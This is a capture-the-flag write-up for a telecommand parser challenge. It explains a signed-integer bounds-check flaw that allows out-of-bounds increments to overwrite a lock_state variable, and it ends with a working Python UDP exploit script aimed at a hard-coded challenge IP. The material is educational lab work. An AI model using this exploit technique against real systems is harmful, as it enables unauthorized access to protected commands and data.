Tree In The Forest

Rapid Unplanned Disassembly

We receive the C source code to a parser for the telecommand protocol, which processes commands in a proprietary format and logs how many times each command is hit. To prevent unauthorized access the parser employs a simple security feature that hides data from the user.

Analysis

To decode a packet, the program reads the packet into a buffer and casts its contents to a struct command_header object:

```
typedef struct command_header {
    short version : 16;
    short type : 16;
    command_id_type id : 32;
} command_header;
```

The integer lock_state keeps track of wether the current session is authenticated or not and is defined as:

```
typedef enum lock_states {
    UNLOCKED = 0,
    LOCKED = 1,
} lock_states;
```

The service keeps track of the amount of times each id was received by incrementing an element of the command_log array corresponding to its value:

```
if (header->id >= COMMAND_LIST_LENGTH) {
    response << "Invalid id:" << header->id << std::endl;
} else {
    // Log the message in the command log
    command_log[header->id]++;

    // Handle the message, return the response
    response << handle_message(header) << std::endl;
}</pre>
```

As a security measure, the service ensures that the provided id is less than the amount of possible commands. However, since the id is of signed integer type, a negative value will result in unsafe array access, allowing us to increment a single byte out-of-bounds. Due to the order in which the variables are declared, locked_state lies directly before command_log in memory:

```
// Globals used in this program, used to store command log and locked/unlocked state
unsigned int lock_state;
char command_log[COMMAND_LIST_LENGTH];
```

Since the goal is to change the value of lock_state from LOCKED to UNLOCKED, we increment the least significant bit 255 times, overflowing it to 0.

Then, having successfully unlocked the state, we request the flag via the GETKEYS command by sending a packet with id 9:

```
const char* handle_message(command_header* header){
   command_id_type id = header->id;
   // Based on the current state, do something for each command
   switch(lock_state){
      case UNLOCKED:
```

```
if (id == COMMAND_GETKEYS)
                 return std::getenv("FLAG");
             else
                 return "Command Success: UNLOCKED";
        default:
             if (id == COMMAND_GETKEYS)
                 return "Command Failed: LOCKED";
             else
                 return "Command Success: LOCKED";
Exploit
import struct, sys
import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
p = ("18.118.161.198", int(sys.argv[1]))
for i in range(255):
    payload = b""
    payload += struct.pack("<h", 0)</pre>
    payload += struct.pack("<h", 0)</pre>
    payload += struct.pack("<i", -8)</pre>
    # Recv after each send to ensure correct ordering
    s.sendto(payload, p)
    print(time.time(), s.recvfrom(100000))
payload = b""
payload += struct.pack("<h", 0)</pre>
payload += struct.pack("<h", 0)</pre>
payload += struct.pack("<i", 9)</pre>
s.sendto(payload, p)
```

print(s.recvfrom(100000))